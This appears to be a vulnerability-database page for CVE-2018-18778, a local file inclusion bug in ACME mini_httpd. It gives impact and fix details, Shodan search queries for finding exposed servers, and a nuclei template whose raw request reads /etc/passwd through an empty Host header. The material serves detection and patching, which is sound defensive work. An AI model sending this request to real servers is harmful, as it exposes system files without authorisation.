HexBrain

Browse / CVEs / CVE-2018-18778

CVE-2018-18778· acme / mini-httpd· CWE-200

ACME mini_httpd <1.30 - Local File Inclusion

mediumseverity
6.5CVSS score
70.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

ACME mini_httpd before 1.30 is vulnerable to local file inclusion.

Impact

Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server.

Fix

Upgrade ACME mini_httpd to version 1.30 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains in header "Server: mini_httpd"
Send: GET /etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-18778 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-18778

info:
  name: ACME mini_httpd <1.30 - Local File Inclusion
  author: DhiyaneshDK,dogasantos
  severity: medium
  description: ACME mini_httpd before 1.30 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server.
  remediation: |
    Upgrade ACME mini_httpd to version 1.30 or later to mitigate this vulnerability.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/
    - http://www.acme.com/software/mini_httpd/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18778
    - https://github.com/0xT11/CVE-POC
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-18778
    cwe-id: CWE-200
    epss-score: 0.70791
    epss-percentile: 0.99404
    cpe: cpe:2.3:a:acme:mini-httpd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: acme
    product: mini-httpd
    shodan-query:
      - 'Server: mini_httpd && 200'
      - cpe:"cpe:2.3:a:acme:mini-httpd"
      - "server: mini_httpd && 200"
  tags: cve,cve2018,lfi,mini_httpd,acme,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Server: mini_httpd"
        internal: true

  - raw:
      - |+
        GET /etc/passwd HTTP/1.1
        Host:

    unsafe: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from